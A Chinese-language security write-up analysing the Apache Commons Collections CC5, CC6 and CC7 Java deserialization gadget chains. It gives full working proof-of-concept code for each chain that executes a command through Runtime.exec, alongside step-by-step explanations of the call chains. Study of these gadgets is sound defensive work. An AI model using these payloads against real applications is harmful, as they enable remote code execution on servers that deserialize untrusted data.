CC5

测试环境

  • jdk1.7
  • Commons Collections 3.1

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC51 {
        public static Object generatePayload() throws Exception {
            ChainedTransformer Transformerchain = new ChainedTransformer(new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] { String.class }, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,Transformerchain);
            TiedMapEntry tiedmap = new TiedMapEntry(map,123);
            BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(poc,tiedmap);
            return poc;
        }
    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

利用链

ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

通过利用链其实可以看出来,CC5的后半段利用链和CC1那条链后面段是一样的,都是调用LazyMap的get方法触发命令,这里我们主要看前面是如何调用到LazyMap.get()的;

TiedMapEntry

在toString方法中调用了getValue()方法,跟进去

调用了map.get方法,关于map在构造函数中赋值,map成员可控,接下来我们需要找哪里调用了toString方法

在cc5中使用了BadAttributeValueExpException这个类。

BadAttributeValueExpException

在该类的readObject方法中,调用了valObj.toString();那么这个valObj是从哪里来的呢

可以看到获取了val成员的值赋值给了valObj,这里我们让val=TiedMapEntry对象即可

流程图

CC6

测试环境

  • jdk 1.7
  • Commons Collections 3.1

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC61 {
    public static Object generatePayload() throws Exception {
        Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, fakeTransformerransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("keykey");  //如果不加这个就无法弹出计算器

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(fakeTransformerransformer, transformers);
        return hashSet;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(), "obj");
        payloadTest("obj");
    }

    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

利用链

java.io.ObjectInputStream.readObject()
            HashSet.readObject()
                HashMap.put()
                HashMap.hash()
                    TiedMapEntry.hashCode()
                    TiedMapEntry.getValue()
                        LazyMap.get()
                            ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

后面一段仍然是LazyMap.get(),主要还是看前半段

TiedMapEntry

TiedMapEntry调用了getValue()

getValue()方法调用了map成员的get方法,这里map成员可控,我们设置为lazymap对象

接下来就需要找哪里触发了hashCode,cc6中使用的是HashMap#hash

HashMap

而put方法调用了hash方法,并且我们可以可以将key作为hash方法的输入,接下来就还差一个入口了

HashSet

ysoserial选择的是HashSet#readObject()

在hashmap#readObject方法中调用了map对象的put方法,map对象是在上面几排赋的值,这里有个判断语句,这判断语句挺好控制的,这里我们需要让map=new HashMap(其实为LinkedHashMap也不影响,LinkedHashMap继承于HashMap,也没有重写put方法和hash方法),然后就是关于我们传入的e;参数e是用readObject取出来的,那么对应的我们就看看writeObject怎么写的:

我们需要控制传入map的keySet返回结果来控制变量。

流程图

P神版本

在上面的流程的最后一步中,我们其实找到一个readObject方法能调用HashMap#put或者HashMap#hash就行了,而HashMap是自带readObject方法的,

跟进去

这里直接调用了hash方法,key也可控。

一些其他点

这里为了避免本地调试时触发命令执⾏,构造LazyMap的时候先⽤了⼀个⼈畜⽆害的 fakeTransformerransformer 对象,等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。(如果正常写应该也没啥问题)

但是如果去掉我们poc中的lazyMap.remove("keykey"); Run的时候并不会弹出计算器,调试一下发现它并没有进入lazymap#get方法中的if语句,但是我们明明没有在lazyMap中加入"keykey"呀

这是因为在调用hashSet#add时调用了hashMap的put方法,

HashMap的put⽅法中,也有调⽤到 hash(key)

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了fakeTransformers ,所以此

时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。

解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即可: lazyMap.remove("keykey")

CC7

测试环境

  • jdk 1.8
  • Commons Collections 3.1

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC71 {

    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

        Transformer[] fakeTransformerransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformerransformer);

        //LazyMap实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ", 1);




        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");


        //通过反射设置真的 ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
        lazyMap2.remove("yy");

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

}

利用链

Hashtable.readObject()
      Hashtable.reconstitutionPut()
            AbstractMapDecorator.equals()
                AbstractMap.equals()
                  LazyMap.get()
                    ChainedTransformer.transform()
                      ConstantTransformer.transform()
                        InvokerTransformer.transform()
                          …………

后面还是LazyMap.get()

AbstractMap

equals方法中调用了m.get(key);这里m和key可控。但是因为AbstractMap是一个abstract类,在构造poc时只能找它的子类,而且没有重写该方法,在poc中选择的就是它的子类HashMap

AbstractMapDecorator

Map可控。该类为lazpMap的父类

Hashtable

reconstitutionPut方法调用e.key.equals,参数可控

readObject入口处也直接调用了reconstitutionPut方法,

流程图

其实但看这流程图我觉得还是有一点昏的,我上面其实也有很多地方没有说清楚,比如为什么e.key可控,因为我觉得这些配合poc一起看得话可能更容易理解

流程分析

首先我们这里是put了两次,在进入reconstitutionPut方法前,会有一个for循环,这里我们的Key和Value是使用readObject得到的,那我们得先去看一下writeObject方法

writeObject中

很容易看出,这里传递的实际上就是HashTable#put时添加进去的key和value。

当我们第一次进入reconstitutionPut方法时,tab数组是没有值的,所以无法进入for循环调用equals方法,tab[index]的赋值是在for循环的后面

当我们第二次进入reconstitutionPut方法时

我们的e.key是第一次put的值,key是第二次put的值。

之前在看利用链时,我就在想,为什么这里能直接调用AbstractMap.equals(),为什么还要去先调用AbstractMapDecorator.equals()呢

于是自己做了一个测试,我把第一次put的值设置为hashMap,想直接调用AbstractMap.equals(new LazyMap())

但是发现他第二次并没有如我们所愿进入for循环,原因时因为第一次传入hashMap时计算生成的index=0,而第二次传入lazyMap时生成的index=3,所以并不存在tab[3]。而两次put的都是lazymap的话,index计算出来都是等于3.这里看似e.key和key可控,但实际上还是有些限制的。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖